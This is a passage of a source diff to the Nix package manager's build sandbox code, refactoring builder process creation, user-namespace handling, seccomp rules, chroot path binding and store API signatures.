\r\n translation. - struct termios term; - if (tcgetattr(builderOut.writeSide.get(), &term)) - throw SysError("getting pseudoterminal attributes"); + // Put the pt into raw mode to prevent \n -> \r\n translation. + struct termios term; + if (tcgetattr(builderOut.get(), &term)) + throw SysError("getting pseudoterminal attributes"); - cfmakeraw(&term); + cfmakeraw(&term); - if (tcsetattr(builderOut.writeSide.get(), TCSANOW, &term)) - throw SysError("putting pseudoterminal into raw mode"); + if (tcsetattr(builderOut.get(), TCSANOW, &term)) + throw SysError("putting pseudoterminal into raw mode"); + + if (dup2(builderOut.get(), STDERR_FILENO) == -1) + throw SysError("cannot pipe standard error into log file"); + }; buildResult.startTime = time(0); @@ -884,101 +941,49 @@ void LocalDerivationGoal::startBuilder() us. */ - if (derivationType.isSandboxed()) + if (derivationType->isSandboxed()) privateNetwork = true; userNamespaceSync.create(); - Path maxUserNamespaces = "/proc/sys/user/max_user_namespaces"; - static bool userNamespacesEnabled = - pathExists(maxUserNamespaces) - && trim(readFile(maxUserNamespaces)) != "0"; + usingUserNamespace = userNamespacesSupported(); - usingUserNamespace = userNamespacesEnabled; + Pipe sendPid; + sendPid.create(); Pid helper = startProcess([&]() { + sendPid.readSide.close(); + + /* We need to open the slave early, before + CLONE_NEWUSER. Otherwise we get EPERM when running as + root. */ + openSlave(); /* Drop additional groups here because we can't do it - after we've created the new user namespace. FIXME: - this means that if we're not root in the parent - namespace, we can't drop additional groups; they will - be mapped to nogroup in the child namespace. There does - not seem to be a workaround for this. (But who can tell - from reading user_namespaces(7)?) - See also https://lwn.net/Articles/621612/. */ - if (getuid() == 0 && setgroups(0, 0) == -1) - throw SysError("setgroups failed"); + after we've created the new user namespace. */ + if (setgroups(0, 0) == -1) { + if (errno != EPERM) + throw SysError("setgroups failed"); + if (settings.requireDropSupplementaryGroups) + throw Error("setgroups failed. Set the require-drop-supplementary-groups option to false to skip this step."); + } - size_t stackSize = 1 * 1024 * 1024; - char * stack = (char *) mmap(0, stackSize, - PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); - if (stack == MAP_FAILED) throw SysError("allocating stack"); - - int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD; + ProcessOptions options; + options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD; if (privateNetwork) - flags |= CLONE_NEWNET; + options.cloneFlags |= CLONE_NEWNET; if (usingUserNamespace) - flags |= CLONE_NEWUSER; + options.cloneFlags |= CLONE_NEWUSER; - pid_t child = clone(childEntry, stack + stackSize, flags, this); - if (child == -1 && errno == EINVAL) { - /* Fallback for Linux < 2.13 where CLONE_NEWPID and - CLONE_PARENT are not allowed together. */ - flags &= ~CLONE_NEWPID; - child = clone(childEntry, stack + stackSize, flags, this); - } - if (usingUserNamespace && child == -1 && (errno == EPERM || errno == EINVAL)) { - /* Some distros patch Linux to not allow unprivileged - * user namespaces. If we get EPERM or EINVAL, try - * without CLONE_NEWUSER and see if that works. - * Details: https://salsa.debian.org/kernel-team/linux/-/commit/d98e00eda6bea437e39b9e80444eee84a32438a6 - */ - usingUserNamespace = false; - flags &= ~CLONE_NEWUSER; - child = clone(childEntry, stack + stackSize, flags, this); - } - if (child == -1) { - switch(errno) { - case EPERM: - case EINVAL: { - int errno_ = errno; - if (!userNamespacesEnabled && errno==EPERM) - notice("user namespaces appear to be disabled; they are required for sandboxing; check /proc/sys/user/max_user_namespaces"); - if (userNamespacesEnabled) { - Path procSysKernelUnprivilegedUsernsClone = "/proc/sys/kernel/unprivileged_userns_clone"; - if (pathExists(procSysKernelUnprivilegedUsernsClone) - && trim(readFile(procSysKernelUnprivilegedUsernsClone)) == "0") { - notice("user namespaces appear to be disabled; they are required for sandboxing; check /proc/sys/kernel/unprivileged_userns_clone"); - } - } - Path procSelfNsUser = "/proc/self/ns/user"; - if (!pathExists(procSelfNsUser)) - notice("/proc/self/ns/user does not exist; your kernel was likely built without CONFIG_USER_NS=y, which is required for sandboxing"); - /* Otherwise exit with EPERM so we can handle this in the - parent. This is only done when sandbox-fallback is set - to true (the default). */ - if (settings.sandboxFallback) - _exit(1); - /* Mention sandbox-fallback in the error message so the user - knows that having it disabled contributed to the - unrecoverability of this failure */ - throw SysError(errno_, "creating sandboxed builder process using clone(), without sandbox-fallback"); - } - default: - throw SysError("creating sandboxed builder process using clone()"); - } - } - writeFull(builderOut.writeSide.get(), - fmt("%d %d\n", usingUserNamespace, child)); + pid_t child = startProcess([&]() { runChild(); }, options); + + writeFull(sendPid.writeSide.get(), fmt("%d\n", child)); _exit(0); }); - int res = helper.wait(); - if (res != 0 && settings.sandboxFallback) { - useChroot = false; - initTmpDir(); - goto fallback; - } else if (res != 0) + sendPid.writeSide.close(); + + if (helper.wait() != 0) throw Error("unable to start build process"); userNamespaceSync.readSide = -1; @@ -989,10 +994,9 @@ void LocalDerivationGoal::startBuilder() userNamespaceSync.writeSide = -1; }); - auto ss = tokenizeString>(readLine(builderOut.readSide.get())); - assert(ss.size() == 2); - usingUserNamespace = ss[0] == "1"; - pid = string2Int(ss[1]).value(); + auto ss = tokenizeString>(readLine(sendPid.readSide.get())); + assert(ss.size() == 1); + pid = string2Int(ss[0]).value(); if (usingUserNamespace) { /* Set the UID/GID mapping of the builder's user namespace @@ -1046,25 +1050,22 @@ void LocalDerivationGoal::startBuilder() } else #endif { -#if __linux__ - fallback: -#endif pid = startProcess([&]() { + openSlave(); runChild(); }); } /* parent */ pid.setSeparatePG(true); - builderOut.writeSide = -1; - worker.childStarted(shared_from_this(), {builderOut.readSide.get()}, true, true); + worker.childStarted(shared_from_this(), {builderOut.get()}, true, true); /* Check if setting up the build environment failed. */ std::vector msgs; while (true) { std::string msg = [&]() { try { - return readLine(builderOut.readSide.get()); + return readLine(builderOut.get()); } catch (Error & e) { auto status = pid.wait(); e.addTrace({}, "while waiting for the build environment for '%s' to initialize (%s, previous messages: %s)", @@ -1076,7 +1077,7 @@ void LocalDerivationGoal::startBuilder() }(); if (msg.substr(0, 1) == "\2") break; if (msg.substr(0, 1) == "\1") { - FdSource source(builderOut.readSide.get()); + FdSource source(builderOut.get()); auto ex = readError(source); ex.addTrace({}, "while setting up the build environment"); throw ex; @@ -1110,8 +1111,8 @@ void LocalDerivationGoal::initTmpDir() { if (passAsFile.find(i.first) == passAsFile.end()) { env[i.first] = i.second; } else { - auto hash = hashString(htSHA256, i.first); - std::string fn = ".attr-" + hash.to_string(Base32, false); + auto hash = hashString(HashAlgorithm::SHA256, i.first); + std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false); Path p = tmpDir + "/" + fn; writeFile(p, rewriteStrings(i.second, inputRewrites)); chownToBuilder(p); @@ -1160,7 +1161,7 @@ void LocalDerivationGoal::initEnv() env["NIX_STORE"] = worker.store.storeDir; /* The maximum number of cores to utilize for parallel building. */ - env["NIX_BUILD_CORES"] = (format("%d") % settings.buildCores).str(); + env["NIX_BUILD_CORES"] = fmt("%d", settings.buildCores); initTmpDir(); @@ -1168,7 +1169,7 @@ void LocalDerivationGoal::initEnv() derivation, tell the builder, so that for instance `fetchurl' can skip checking the output. On older Nixes, this environment variable won't be set, so `fetchurl' will do the check. */ - if (derivationType.isFixed()) env["NIX_OUTPUT_CHECKED"] = "1"; + if (derivationType->isFixed()) env["NIX_OUTPUT_CHECKED"] = "1"; /* *Only* if this is a fixed-output derivation, propagate the values of the environment variables specified in the @@ -1179,9 +1180,19 @@ void LocalDerivationGoal::initEnv() to the builder is generally impure, but the output of fixed-output derivations is by definition pure (since we already know the cryptographic hash of the output). */ - if (!derivationType.isSandboxed()) { - for (auto & i : parsedDrv->getStringsAttr("impureEnvVars").value_or(Strings())) - env[i] = getEnv(i).value_or(""); + if (!derivationType->isSandboxed()) { + auto & impureEnv = settings.impureEnv.get(); + if (!impureEnv.empty()) + experimentalFeatureSettings.require(Xp::ConfigurableImpureEnv); + + for (auto & i : parsedDrv->getStringsAttr("impureEnvVars").value_or(Strings())) { + auto envVar = impureEnv.find(i); + if (envVar != impureEnv.end()) { + env[i] = envVar->second; + } else { + env[i] = getEnv(i).value_or(""); + } + } } /* Currently structured log messages piggyback on stderr, but we @@ -1211,14 +1222,27 @@ void LocalDerivationGoal::writeStructuredAttrs() writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites)); chownToBuilder(tmpDir + "/.attrs.sh"); - env["NIX_ATTRS_SH_FILE"] = tmpDir + "/.attrs.sh"; + env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh"; writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites)); chownToBuilder(tmpDir + "/.attrs.json"); - env["NIX_ATTRS_JSON_FILE"] = tmpDir + "/.attrs.json"; + env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json"; } } +static StorePath pathPartOfReq(const SingleDerivedPath & req) +{ + return std::visit(overloaded { + [&](const SingleDerivedPath::Opaque & bo) { + return bo.path; + }, + [&](const SingleDerivedPath::Built & bfd) { + return pathPartOfReq(*bfd.drvPath); + }, + }, req.raw()); +} + + static StorePath pathPartOfReq(const DerivedPath & req) { return std::visit(overloaded { @@ -1226,7 +1250,7 @@ static StorePath pathPartOfReq(const DerivedPath & req) return bo.path; }, [&](const DerivedPath::Built & bfd) { - return bfd.drvPath; + return pathPartOfReq(*bfd.drvPath); }, }, req.raw()); } @@ -1241,13 +1265,13 @@ bool LocalDerivationGoal::isAllowed(const DerivedPath & req) struct RestrictedStoreConfig : virtual LocalFSStoreConfig { using LocalFSStoreConfig::LocalFSStoreConfig; - const std::string name() { return "Restricted Store"; } + const std::string name() override { return "Restricted Store"; } }; /* A wrapper around LocalStore that only allows building/querying of paths that are in the input closures of the build or were added via recursive Nix calls. */ -struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual LocalFSStore, public virtual GcStore +struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual IndirectRootStore, public virtual GcStore { ref next; @@ -1298,11 +1322,13 @@ struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual Lo void queryReferrers(const StorePath & path, StorePathSet & referrers) override { } - std::map> queryPartialDerivationOutputMap(const StorePath & path) override + std::map> queryPartialDerivationOutputMap( + const StorePath & path, + Store * evalStore = nullptr) override { if (!goal.isAllowed(path)) throw InvalidPath("cannot query output map for unknown path '%s' in recursive Nix", printStorePath(path)); - return next->queryPartialDerivationOutputMap(path); + return next->queryPartialDerivationOutputMap(path, evalStore); } std::optional queryPathFromHashPart(const std::string & hashPart) override @@ -1310,12 +1336,12 @@ struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual Lo StorePath addToStore( std::string_view name, - const Path & srcPath, - FileIngestionMethod method, - HashType hashAlgo, + const SourcePath & srcPath, + ContentAddressMethod method, + HashAlgorithm hashAlgo, + const StorePathSet & references, PathFilter & filter, - RepairFlag repair, - const StorePathSet & references) override + RepairFlag repair) override { throw Error("addToStore"); } void addToStore(const ValidPathInfo & info, Source & narSource, @@ -1325,26 +1351,16 @@ struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual Lo goal.addDependency(info.path); } - StorePath addTextToStore( - std::string_view name, - std::string_view s, - const StorePathSet & references, - RepairFlag repair = NoRepair) override - { - auto path = next->addTextToStore(name, s, references, repair); - goal.addDependency(path); - return path; - } - StorePath addToStoreFromDump( Source & dump, std::string_view name, - FileIngestionMethod method, - HashType hashAlgo, - RepairFlag repair, - const StorePathSet & references) override + FileSerialisationMethod dumpMethod, + ContentAddressMethod hashMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair) override { - auto path = next->addToStoreFromDump(dump, name, method, hashAlgo, repair, references); + auto path = next->addToStoreFromDump(dump, name, dumpMethod, hashMethod, hashAlgo, references, repair); goal.addDependency(path); return path; } @@ -1385,7 +1401,7 @@ struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual Lo result.rethrow(); } - std::vector buildPathsWithResults( + std::vector buildPathsWithResults( const std::vector & paths, BuildMode buildMode = bmNormal, std::shared_ptr evalStore = nullptr) override @@ -1460,22 +1476,26 @@ struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual Lo unknown, downloadSize, narSize); } - virtual std::optional getBuildLog(const StorePath & path) override + virtual std::optional getBuildLogExact(const StorePath & path) override { return std::nullopt; } virtual void addBuildLog(const StorePath & path, std::string_view log) override { unsupported("addBuildLog"); } + + std::optional isTrustedClient() override + { return NotTrusted; } }; void LocalDerivationGoal::startDaemon() { - settings.requireExperimentalFeature(Xp::RecursiveNix); + experimentalFeatureSettings.require(Xp::RecursiveNix); Store::Params params; params["path-info-cache-size"] = "0"; params["store"] = worker.store.storeDir; - params["root"] = getLocalStore().rootDir; + if (auto & optRoot = getLocalStore().rootDir.get()) + params["root"] = *optRoot; params["state"] = "/no-such-path"; params["log"] = "/no-such-path"; auto store = make_ref(params, @@ -1504,23 +1524,23 @@ void LocalDerivationGoal::startDaemon() (struct sockaddr *) &remoteAddr, &remoteAddrLen); if (!remote) { if (errno == EINTR || errno == EAGAIN) continue; - if (errno == EINVAL) break; + if (errno == EINVAL || errno == ECONNABORTED) break; throw SysError("accepting connection"); } - closeOnExec(remote.get()); + unix::closeOnExec(remote.get()); debug("received daemon connection"); auto workerThread = std::thread([store, remote{std::move(remote)}]() { - FdSource from(remote.get()); - FdSink to(remote.get()); try { - daemon::processConnection(store, from, to, - daemon::NotTrusted, daemon::Recursive, - [&](Store & store) { store.createUser("nobody", 65535); }); + daemon::processConnection( + store, + FdSource(remote.get()), + FdSink(remote.get()), + NotTrusted, daemon::Recursive); debug("terminated daemon connection"); - } catch (SysError &) { + } catch (SystemError &) { ignoreException(); } }); @@ -1535,8 +1555,22 @@ void LocalDerivationGoal::startDaemon() void LocalDerivationGoal::stopDaemon() { - if (daemonSocket && shutdown(daemonSocket.get(), SHUT_RDWR) == -1) - throw SysError("shutting down daemon socket"); + if (daemonSocket && shutdown(daemonSocket.get(), SHUT_RDWR) == -1) { + // According to the POSIX standard, the 'shutdown' function should + // return an ENOTCONN error when attempting to shut down a socket that + // hasn't been connected yet. This situation occurs when the 'accept' + // function is called on a socket without any accepted connections, + // leaving the socket unconnected. While Linux doesn't seem to produce + // an error for sockets that have only been accepted, more + // POSIX-compliant operating systems like OpenBSD, macOS, and others do + // return the ENOTCONN error. Therefore, we handle this error here to + // avoid raising an exception for compliant behaviour. + if (errno == ENOTCONN) { + daemonSocket.close(); + } else { + throw SysError("shutting down daemon socket"); + } + } if (daemonThread.joinable()) daemonThread.join(); @@ -1547,7 +1581,8 @@ void LocalDerivationGoal::stopDaemon() thread.join(); daemonWorkerThreads.clear(); - daemonSocket = -1; + // release the socket. + daemonSocket.close(); } @@ -1567,41 +1602,33 @@ void LocalDerivationGoal::addDependency(const StorePath & path) Path source = worker.store.Store::toRealPath(path); Path target = chrootRootDir + worker.store.printStorePath(path); - debug("bind-mounting %s -> %s", target, source); - if (pathExists(target)) + if (pathExists(target)) { + // There is a similar debug message in doBind, so only run it in this block to not have double messages. + debug("bind-mounting %s -> %s", target, source); throw Error("store path '%s' already exists in the sandbox", worker.store.printStorePath(path)); + } - auto st = lstat(source); + /* Bind-mount the path into the sandbox. This requires + entering its mount namespace, which is not possible + in multithreaded programs. So we do this in a + child process.*/ + Pid child(startProcess([&]() { - if (S_ISDIR(st.st_mode)) { + if (usingUserNamespace && (setns(sandboxUserNamespace.get(), 0) == -1)) + throw SysError("entering sandbox user namespace"); - /* Bind-mount the path into the sandbox. This requires - entering its mount namespace, which is not possible - in multithreaded programs. So we do this in a - child process.*/ - Pid child(startProcess([&]() { + if (setns(sandboxMountNamespace.get(), 0) == -1) + throw SysError("entering sandbox mount namespace"); - if (usingUserNamespace && (setns(sandboxUserNamespace.get(), 0) == -1)) - throw SysError("entering sandbox user namespace"); + doBind(source, target); - if (setns(sandboxMountNamespace.get(), 0) == -1) - throw SysError("entering sandbox mount namespace"); + _exit(0); + })); - createDirs(target); - - if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1) - throw SysError("bind mount from '%s' to '%s' failed", source, target); - - _exit(0); - })); - - int status = child.wait(); - if (status != 0) - throw Error("could not add path '%s' to sandbox", worker.store.printStorePath(path)); - - } else - linkOrCopy(source, target); + int status = child.wait(); + if (status != 0) + throw Error("could not add path '%s' to sandbox", worker.store.printStorePath(path)); #else throw Error("don't know how to make path '%s' (produced by a recursive Nix call) appear in the sandbox", @@ -1633,6 +1660,8 @@ void setupSeccomp() seccomp_release(ctx); }); + constexpr std::string_view nativeSystem = SYSTEM; + if (nativeSystem == "x86_64-linux" && seccomp_arch_add(ctx, SCMP_ARCH_X86) != 0) throw SysError("unable to add 32-bit seccomp architecture"); @@ -1674,12 +1703,19 @@ void setupSeccomp() if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(fchmodat), 1, SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0) throw SysError("unable to add seccomp rule"); + + if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), NIX_SYSCALL_FCHMODAT2, 1, + SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0) + throw SysError("unable to add seccomp rule"); } - /* Prevent builders from creating EAs or ACLs. Not all filesystems + /* Prevent builders from using EAs or ACLs. Not all filesystems support these, and they're not allowed in the Nix store because they're not representable in the NAR serialisation. */ - if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(setxattr), 0) != 0 || + if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(getxattr), 0) != 0 || + seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(lgetxattr), 0) != 0 || + seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(fgetxattr), 0) != 0 || + seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(setxattr), 0) != 0 || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(lsetxattr), 0) != 0 || seccomp_rule_add(ctx, SCMP_ACT_ERRNO(ENOTSUP), SCMP_SYS(fsetxattr), 0) != 0) throw SysError("unable to add seccomp rule"); @@ -1707,7 +1743,7 @@ void LocalDerivationGoal::runChild() try { /* child */ - commonChildInit(builderOut); + commonChildInit(); try { setupSeccomp(); @@ -1723,7 +1759,7 @@ void LocalDerivationGoal::runChild() try { if (drv->isBuiltin() && drv->builder == "builtin:fetchurl") netrcData = readFile(settings.netrcFile); - } catch (SysError &) { } + } catch (SystemError &) { } #if __linux__ if (useChroot) { @@ -1791,7 +1827,7 @@ void LocalDerivationGoal::runChild() /* Set up a nearly empty /dev, unless the user asked to bind-mount the host /dev. */ Strings ss; - if (dirsInChroot.find("/dev") == dirsInChroot.end()) { + if (pathsInChroot.find("/dev") == pathsInChroot.end()) { createDirs(chrootRootDir + "/dev/shm"); createDirs(chrootRootDir + "/dev/pts"); ss.push_back("/dev/full"); @@ -1811,7 +1847,7 @@ void LocalDerivationGoal::runChild() /* Fixed-output derivations typically need to access the network, so give them access to /etc/resolv.conf and so on. */ - if (!derivationType.isSandboxed()) { + if (!derivationType->isSandboxed()) { // Only use nss functions to resolve hosts and // services. Don’t use it for anything else that may // be configured for this system. This limits the @@ -1824,33 +1860,24 @@ void LocalDerivationGoal::runChild() for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" }) if (pathExists(path)) ss.push_back(path); + + if (settings.caFile != "" && pathExists(settings.caFile)) { + Path caFile = settings.caFile; + pathsInChroot.try_emplace("/etc/ssl/certs/ca-certificates.crt", canonPath(caFile, true), true); + } } - for (auto & i : ss) dirsInChroot.emplace(i, i); + for (auto & i : ss) { + // For backwards-compatibiliy, resolve all the symlinks in the + // chroot paths + auto canonicalPath = canonPath(i, true); + pathsInChroot.emplace(i, canonicalPath); + } /* Bind-mount all the directories from the "host" filesystem that we want in the chroot environment. */ - auto doBind = [&](const Path & source, const Path & target, bool optional = false) { - debug("bind mounting '%1%' to '%2%'", source, target); - struct stat st; - if (stat(source.c_str(), &st) == -1) { - if (optional && errno == ENOENT) - return; - else - throw SysError("getting attributes of path '%1%'", source); - } - if (S_ISDIR(st.st_mode)) - createDirs(target); - else { - createDirs(dirOf(target)); - writeFile(target, ""); - } - if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REC, 0) == -1) - throw SysError("bind mount from '%1%' to '%2%' failed", source, target); - }; - - for (auto & i : dirsInChroot) { + for (auto & i : pathsInChroot) { if (i.second.source == "/proc") continue; // backwards compatibility #if HAVE_EMBEDDED_SANDBOX_SHELL @@ -1891,7 +1918,7 @@ void LocalDerivationGoal::runChild() if /dev/ptx/ptmx exists). */ if (pathExists("/dev/pts/ptmx") && !pathExists(chrootRootDir + "/dev/ptmx") - && !dirsInChroot.count("/dev/pts")) + && !pathsInChroot.count("/dev/pts")) { if (mount("none", (chrootRootDir + "/dev/pts").c_str(), "devpts", 0, "newinstance,mode=0620") == 0) { @@ -1908,6 +1935,10 @@ void LocalDerivationGoal::runChild() } } + /* Make /etc unwritable */ + if (!parsedDrv->useUidRange()) + chmod_(chrootRootDir + "/etc", 0555); + /* Unshare this mount namespace. This is necessary because pivot_root() below changes the root of the mount namespace. This means that the call to setns() in @@ -1962,34 +1993,10 @@ void LocalDerivationGoal::runChild() throw SysError("changing into '%1%'", tmpDir); /* Close all other file descriptors. */ - closeMostFDs({STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO}); + unix::closeMostFDs({STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO}); #if __linux__ - /* Change the personality to 32-bit if we're doing an - i686-linux build on an x86_64-linux machine. */ - struct utsname utsbuf; - uname(&utsbuf); - if ((drv->platform == "i686-linux" - && (settings.thisSystem == "x86_64-linux" - || (!strcmp(utsbuf.sysname, "Linux") && !strcmp(utsbuf.machine, "x86_64")))) - || drv->platform == "armv7l-linux" - || drv->platform == "armv6l-linux") - { - if (personality(PER_LINUX32) == -1) - throw SysError("cannot set 32-bit personality"); - } - - /* Impersonate a Linux 2.6 machine to get some determinism in - builds that depend on the kernel version. */ - if ((drv->platform == "i686-linux" || drv->platform == "x86_64-linux") && settings.impersonateLinux26) { - int cur = personality(0xffffffff); - if (cur != -1) personality(cur | 0x0020000 /* == UNAME26 */); - } - - /* Disable address space randomization for improved - determinism. */ - int cur = personality(0xffffffff); - if (cur != -1) personality(cur | ADDR_NO_RANDOMIZE); + linux::setPersonality(drv->platform); #endif /* Disable core dumps by default. */ @@ -2048,7 +2055,7 @@ void LocalDerivationGoal::runChild() /* We build the ancestry before adding all inputPaths to the store because we know they'll all have the same parents (the store), and there might be lots of inputs. This isn't particularly efficient... I doubt it'll be a bottleneck in practice */ - for (auto & i : dirsInChroot) { + for (auto & i : pathsInChroot) { Path cur = i.first; while (cur.compare("/") != 0) { cur = dirOf(cur); @@ -2056,7 +2063,7 @@ void LocalDerivationGoal::runChild() } } - /* And we want the store in there regardless of how empty dirsInChroot. We include the innermost + /* And we want the store in there regardless of how empty pathsInChroot. We include the innermost path component this time, since it's typically /nix/store and we care about that. */ Path cur = worker.store.storeDir; while (cur.compare("/") != 0) { @@ -2067,7 +2074,7 @@ void LocalDerivationGoal::runChild() /* Add all our input paths to the chroot */ for (auto & i : inputPaths) { auto p = worker.store.printStorePath(i); - dirsInChroot[p] = p; + pathsInChroot[p] = p; } /* Violations will go to the syslog if you set this. Unfortunately the destination does not appear to be configurable */ @@ -2077,10 +2084,14 @@ void LocalDerivationGoal::runChild() sandboxProfile += "(deny default (with no-log))\n"; } - sandboxProfile += "(import \"sandbox-defaults.sb\")\n"; + sandboxProfile += + #include "sandbox-defaults.sb" + ; - if (!derivationType.isSandboxed()) - sandboxProfile += "(import \"sandbox-network.sb\")\n"; + if (!derivationType->isSandboxed()) + sandboxProfile += + #include "sandbox-network.sb" + ; /* Add the output paths we'll use at build-time to the chroot */ sandboxProfile += "(allow file-read* file-write* process-exec\n"; @@ -2094,20 +2105,20 @@ void LocalDerivationGoal::runChild() without file-write* allowed, access() incorrectly returns EPERM */ sandboxProfile += "(allow file-read* file-write* process-exec\n"; - for (auto & i : dirsInChroot) { + for (auto & i : pathsInChroot) { if (i.first != i.second.source) throw Error( "can't map '%1%' to '%2%': mismatched impure paths not supported on Darwin", i.first, i.second.source); std::string path = i.first; - struct stat st; - if (lstat(path.c_str(), &st)) { - if (i.second.optional && errno == ENOENT) + auto optSt = maybeLstat(path.c_str()); + if (!optSt) { + if (i.second.optional) continue; - throw SysError("getting attributes of path '%s", path); + throw SysError("getting attributes of required path '%s", path); } - if (S_ISDIR(st.st_mode)) + if (S_ISDIR(optSt->st_mode)) sandboxProfile += fmt("\t(subpath \"%s\")\n", path); else sandboxProfile += fmt("\t(literal \"%s\")\n", path); @@ -2123,7 +2134,9 @@ void LocalDerivationGoal::runChild() sandboxProfile += additionalSandboxProfile; } else - sandboxProfile += "(import \"sandbox-minimal.sb\")\n"; + sandboxProfile += + #include "sandbox-minimal.sb" + ; debug("Generated sandbox profile:"); debug(sandboxProfile); @@ -2135,11 +2148,12 @@ void LocalDerivationGoal::runChild() bool allowLocalNetworking = parsedDrv->getBoolAttr("__darwinAllowLocalNetworking"); /* The tmpDir in scope points at the temporary build directory for our derivation. Some packages try different mechanisms - to find temporary directories, so we want to open up a broader place for them to dump their files, if needed. */ - Path globalTmpDir = canonPath(getEnv("TMPDIR").value_or("/tmp"), true); + to find temporary directories, so we want to open up a broader place for them to put their files, if needed. */ + Path globalTmpDir = canonPath(defaultTempDir(), true); /* They don't like trailing slashes on subpath directives */ - if (globalTmpDir.back() == '/') globalTmpDir.pop_back(); + while (!globalTmpDir.empty() && globalTmpDir.back() == '/') + globalTmpDir.pop_back(); if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") { builder = "/usr/bin/sandbox-exec"; @@ -2148,8 +2162,6 @@ void LocalDerivationGoal::runChild() args.push_back(sandboxFile); args.push_back("-D"); args.push_back("_GLOBAL_TMP_DIR=" + globalTmpDir); - args.push_back("-D"); - args.push_back("IMPORT_DIR=" + settings.nixDataDir + "/nix/sandbox/"); if (allowLocalNetworking) { args.push_back("-D"); args.push_back(std::string("_ALLOW_LOCAL_NETWORKING=1")); @@ -2180,16 +2192,17 @@ void LocalDerivationGoal::runChild() try { logger = makeJSONLogger(*logger); - BasicDerivation & drv2(*drv); - for (auto & e : drv2.env) - e.second = rewriteStrings(e.second, inputRewrites); + std::map outputs; + for (auto & e : drv->outputs) + outputs.insert_or_assign(e.first, + worker.store.printStorePath(scratchOutputs.at(e.first))); if (drv->builder == "builtin:fetchurl") - builtinFetchurl(drv2, netrcData); + builtinFetchurl(*drv, outputs, netrcData); else if (drv->builder == "builtin:buildenv") - builtinBuildenv(drv2); + builtinBuildenv(*drv, outputs); else if (drv->builder == "builtin:unpack-channel") - builtinUnpackChannel(drv2); + builtinUnpackChannel(*drv, outputs); else throw Error("unsupported builtin builder '%1%'", drv->builder.substr(8)); _exit(0); @@ -2240,7 +2253,7 @@ void LocalDerivationGoal::runChild() } -DrvOutputs LocalDerivationGoal::registerOutputs() +SingleDrvOutputs LocalDerivationGoal::registerOutputs() { /* When using a build hook, the build hook can register the output as valid (by doing `nix-store --import'). If so we don't have @@ -2317,14 +2330,12 @@ DrvOutputs LocalDerivationGoal::registerOutputs() continue; } - struct stat st; - if (lstat(actualPath.c_str(), &st) == -1) { - if (errno == ENOENT) - throw BuildError( - "builder for '%s' failed to produce output path for output '%s' at '%s'", - worker.store.printStorePath(drvPath), outputName, actualPath); - throw SysError("getting attributes of path '%s'", actualPath); - } + auto optSt = maybeLstat(actualPath.c_str()); + if (!optSt) + throw BuildError( + "builder for '%s' failed to produce output path for output '%s' at '%s'", + worker.store.printStorePath(drvPath), outputName, actualPath); + struct stat & st = *optSt; #ifndef __CYGWIN__ /* Check that the output is not group or world writable, as @@ -2346,11 +2357,27 @@ DrvOutputs LocalDerivationGoal::registerOutputs() buildUser ? std::optional(buildUser->getUIDRange()) : std::nullopt, inodesSeen); - debug("scanning for references for output '%s' in temp location '%s'", outputName, actualPath); + bool discardReferences = false; + if (auto structuredAttrs = parsedDrv->getStructuredAttrs()) { + if (auto udr = get(*structuredAttrs, "unsafeDiscardReferences")) { + if (auto output = get(*udr, outputName)) { + if (!output->is_boolean()) + throw Error("attribute 'unsafeDiscardReferences.\"%s\"' of derivation '%s' must be a Boolean", outputName, drvPath.to_string()); + discardReferences = output->get(); + } + } + } - /* Pass blank Sink as we are not ready to hash data at this stage. */ - NullSink blank; - auto references = scanForReferences(blank, actualPath, referenceablePaths); + StorePathSet references; + if (discardReferences) + debug("discarding references of output '%s'", outputName); + else { + debug("scanning for references for output '%s' in temp location '%s'", outputName, actualPath); + + /* Pass blank Sink as we are not ready to hash data at this stage. */ + NullSink blank; + references = scanForReferences(blank, actualPath, referenceablePaths); + } outputReferencesIfUnregistered.insert_or_assign( outputName, @@ -2425,18 +2452,21 @@ DrvOutputs LocalDerivationGoal::registerOutputs() continue; auto references = *referencesOpt; - auto rewriteOutput = [&]() { + auto rewriteOutput = [&](const StringMap & rewrites) { /* Apply hash rewriting if necessary. */ - if (!outputRewrites.empty()) { + if (!rewrites.empty()) { debug("rewriting hashes in '%1%'; cross fingers", actualPath); - /* FIXME: this is in-memory. */ - StringSink sink; - dumpPath(actualPath, sink); + /* FIXME: Is this actually streaming? 